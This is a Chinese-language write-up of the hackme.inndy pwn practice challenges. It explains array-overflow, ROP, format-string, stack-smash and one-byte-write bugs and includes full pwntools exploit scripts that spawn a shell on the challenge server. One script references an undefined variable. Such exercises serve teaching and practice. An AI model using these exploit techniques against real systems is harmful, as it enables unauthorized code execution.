hackme.inndy上pwn的wp,题目难度不大

catfalg

签到题,直接nc连接,cat flag

homework

根据题目提示是数组越界漏洞,给了源码https://hackme.inndy.tw/static/pwn-easy.c 可以看到对数组下表并没有做检查,导致越界。
Snipaste_2019-06-09_11-45-03.png

ida分析,可以通过越界arr来覆盖run_program的返回地址到call_me_maybe函数的地址即可
Snipaste_2019-06-09_11-51-33.png

Snipaste_2019-06-09_11-52-29.png

数组的首地址为ebp-34h,所以arr与ebp之间的偏移为0x34=52个字节。
52+ ebp + ret = 60 字节
60/4=15,即相对于arr来说,ret的索引为14
call_me_maybe 的地址为0x80485FB
最后exp:

from pwn import *

#r = process('./homework')
r = remote("hackme.inndy.tw",7701)

call_me_maybe=0x80485FB

r.sendlineafter("name? ","pwn")

r.sendlineafter("> ","1")

r.sendlineafter("edit: ","14")
r.sendlineafter("many? ",str(call_me_maybe))
r.sendlineafter("> ","0")
r.interactive()

rop

很简单的栈溢出,只开启了NX保护,静态链接
偏移为0xc+0x4=16
题目提示使用rop,使用ROPgadget构造一个rop
ROPgadget --binary rop --ropchain
exp:

#!/usr/bin/env python2
from pwn import *

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80




# r=process('./rop')
r = remote('hackme.inndy.tw',7704)

r.send('a'*16+p)
r.interactive()

rop2

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida f5代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+5h] [ebp-33h]
  int v5; // [esp+9h] [ebp-2Fh]
  int v6; // [esp+Dh] [ebp-2Bh]
  int v7; // [esp+11h] [ebp-27h]
  int v8; // [esp+15h] [ebp-23h]
  int v9; // [esp+19h] [ebp-1Fh]
  int v10; // [esp+1Dh] [ebp-1Bh]
  int v11; // [esp+21h] [ebp-17h]
  int v12; // [esp+25h] [ebp-13h]
  int v13; // [esp+29h] [ebp-Fh]
  __int16 v14; // [esp+2Dh] [ebp-Bh]
  char v15; // [esp+2Fh] [ebp-9h]

  alarm(0x1Eu);
  v4 = ' naC';
  v5 = ' uoy';
  v6 = 'vlos';
  v7 = 'ht e';
  v8 = '\n?si';
  v9 = 'eviG';
  v10 = ' em ';
  v11 = 'ruoy';
  v12 = 'por ';
  v13 = 'iahc';
  v14 = ':n';
  v15 = 0;
  syscall(4, 1, &v4, 42);
  overflow();
  return 0;
}

ida没能够识别出v4到v14的变量类型,v4的地址为bp-0x33,v15为bp-0x9,因此字符串长度为0x33 - 0x9 = 42,在v4上y一下,然后在弹出来的窗口上填入推断出来的数据类型char v4[42],调整后为

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[42]; // [esp+5h] [ebp-33h]

  alarm(0x1Eu);
  strcpy(v4, "Can you solve this?\nGive me your ropchain:");
  syscall(4, 1, v4, 42);
  overflow();
  return 0;
}

overflow()

int overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  syscall(3, 0, &v1, 1024);
  return syscall(4, 1, &v1, 1024);

}

这里涉及到了调用syscall,可查阅http://shell-storm.org/shellcode/files/syscalls.html 得知,程序中的syscall(4,1,&v4,42) 和syscall(3,0,&v1,1024) 分别调用了write()函数和read函数的系统调用,在v1只有0xc大小却读取了1024字节导致溢出。
这次不能直接利用ROPgadget找rop,考虑使用syscall执行系统命令,execve()的编号是11,所以最终要执行syscall(11, "/bin/sh", 0, 0),即execve("/bin/sh", 0, 0),文件中没有/bin/sh字符串,所以还需要写入/bin/sh到bss段

  • 首先利用 syscall() 调用 read,从标准输入读入 /bin/sh,写入 bss。执行完之后再执行一遍overflow()
  • 然后利用 syscall() 调用 execve,获取shell

syscall函数的调用方法是:调用地址 + 返回地址 + 参数
exp:

from pwn import*  
# p = remote('hackme.inndy.tw',7703) 
p=process('./rop2') 
elf = ELF('./rop2')  
bss = elf.bss()  
syscall = elf.symbols['syscall']  
overflow = elf.symbols['overflow']   


if args.G:
    gdb.attach(p)  
  
payload = 'a'*0xC + 'bbbb' + p32(syscall) + p32(overflow) # junk + target_address  + return_address  
payload += p32(3) + p32(0) + p32(bss) + p32(8) #syscall(3,0,bss_add,8)  
p.send(payload)  
p.send("/bin/sh\x00")  
  
payload1 = 'a'*0xc + "BBBB" + p32(syscall) + p32(0xdeadbeaf)
payload1 += p32(0xb) + p32(bss) + p32(0) + p32(0)  #syscall(0xb,bss_add,0,0) = execve("bin/sh",0,0)  
  
p.send(payload1)  
p.interactive()

toooomuch

很简单,ida查看获得passcode,然后nc连接上,二分法猜数字即可

toooomuch2

题目和上题一样只是这次要求getshell

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

什么都没有开
代码

int toooomuch()
{
  int result; // eax
  char s; // [esp+0h] [ebp-18h]

  printf("Give me your passcode: ");
  gets(&s);
  strcpy(passcode, &s);
  if ( check_passcode() )
    result = play_a_game();
  else
    result = puts("You are not allowed here!");
  return result;
}

gets存在溢出,什么保护都没有开
这题有两种解法:

  • 一种是把shellcode写到bss段上然后返回到bss段执行。
  • 另一种是直接把system执行用到的参数写到bss段,因为程序里面有system函数,可以溢出到system函数的地址,然后布置参数。

exp1:

from pwn import *

# r = process('./toooomuch')
r = remote('hackme.inndy.tw', 7702)
elf=ELF('./toooomuch')
bss= elf.bss()
gets=elf.symbols['gets']
sc=asm(shellcraft.sh())
payload = 'a'*0x1c+p32(gets)+p32(bss)+p32(bss) # junk + gets_address+ target_address  + return_address
r.sendlineafter('passcode: ',payload)
r.sendline(sc)
r.interactive()

exp2:

from pwn import *

# r = process('./toooomuch')
r = remote('hackme.inndy.tw', 7702)
elf=ELF('./toooomuch')

system=elf.symbols['system']
passcode=elf.symbols['passcode']

payload = '/bin/sh\x00'+'a'*20+p32(system)+p32(0xdeadbeaf)+p32(passcode)
r.sendlineafter('passcode: ',payload)

r.interactive()

system函数的调用方法是:调用地址 + 返回地址 + 参数地址

echo

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-10Ch]
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(&s, 256, stdin);
    printf(&s);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

很简单的格式化字符串漏洞,代码里还有system函数,考虑将print的got地址覆盖成system的plt的地址,第二步输入/bin/sh,这样执行printf('/bin/sh')的时候就执行了system('/bin/sh'),可以用pwntools的fmt工具,确定一下偏移AAAA%p%p%p%p%p%p%p%pAAAA%7$8x,偏移为7

exp:

from pwn import *

r=process('./echo')
# r=remote('hackme.inndy.tw', 7711)
elf=ELF('./echo')

print_got=elf.got['printf']
system_plt=elf.symbols['system']

payload=fmtstr_payload(7,{print_got:system_got})
r.sendline(payload)
r.sendlineafter('\n','/bin/sh\x00')
r.interactive()

smashthestack

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了cannary和nx
代码

先读取flag到buf,后面的read存在溢出
这题要利用的ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:stack-smash
典型的canary leak,在程序启动canary保护之后,如果发现 canary 被修改的话,程序就会执行__stack_chk_fail函数来打印argv[]指针所指向的字符串。

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以将__libc_argv[]覆盖为存放flag的地址,在write处下断查看__libc_argv[]的偏移,

flag保存在bss

所以最后exp:

from pwn import *

r = remote('hackme.inndy.tw', 7717)
# r=process('./smash-the-stack')

payload = 'a' * 188 + p32(0x0804A060)

r.sendlineafter('Try to read the flag\n',payload)
r.interactive()

onepunch

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h]
  int v5; // [rsp+Ch] [rbp-14h]
  _BYTE *v6; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  printf("Where What?", 0LL);
  v5 = __isoc99_scanf("%llx %d", &v6, &v4);
  if ( v5 != 2 )
    return 0;
  *v6 = v4;//往16进制数的地址写入十进制数
  if ( v4 == 255 )
    puts("No flag for you");
  return 0;
}

发现存在一字节的写入漏洞,但是不知道怎么利用,后来参考了其他师傅的wp,才知道怎么做。

运行查看各个段

发现代码段为rwxp权限,结合一字节任意读写,构造一个循环,写入shellcode,再跳转到shellcode就可以了,虽然开启了nx,但是不在栈上执行,所以没关系。

改变程序流程:
在ida里面查看机器码,将number修改为4

rename一下需要跳转到的段loc_40071D

然后使用keypatch来修改汇编代码,跳转到该段,使其构成一个循环

最终效果

修改后,可以发现跳转处的机器码由75 0A变成了75 B4,所以就知道该怎么patch了,开始写exp

from pwn import *

context(arch='amd64',log_level='debug')

# r=process('./onepunch')
r=remote('hackme.inndy.tw',7718)

def patch(addr,value):
    r.sendlineafter('Where What?',"%s %s" % (hex(addr), str(value)))

patch(0x400768,0xb4)

sc=asm(shellcraft.sh())

addr=0x400769 # to write shellcode address
for i,j in enumerate(sc):
    patch(addr+i,ord(j))

patch(0x400768,0xff)

r.interactive()
  • 第一次写,把jnz跳转的地址(0x400768)改为main函数的地址
  • 之后,分多次将shellcode一字节的写入text段的一个位置
  • 最后一次输入255就跳到shellcode了

参考

  • https://bbs.pediy.com/thread-246223.htm
  • https://zszcr.github.io/2018/05/09/2018-5-9-rop-%E5%92%8C-rop2-writeup/
  • https://github.com/taoky/my-inndy-ctf-writeup/blob/master/Pwn.md
  • http://m4x.fun/post/hackme.inndy-writeup/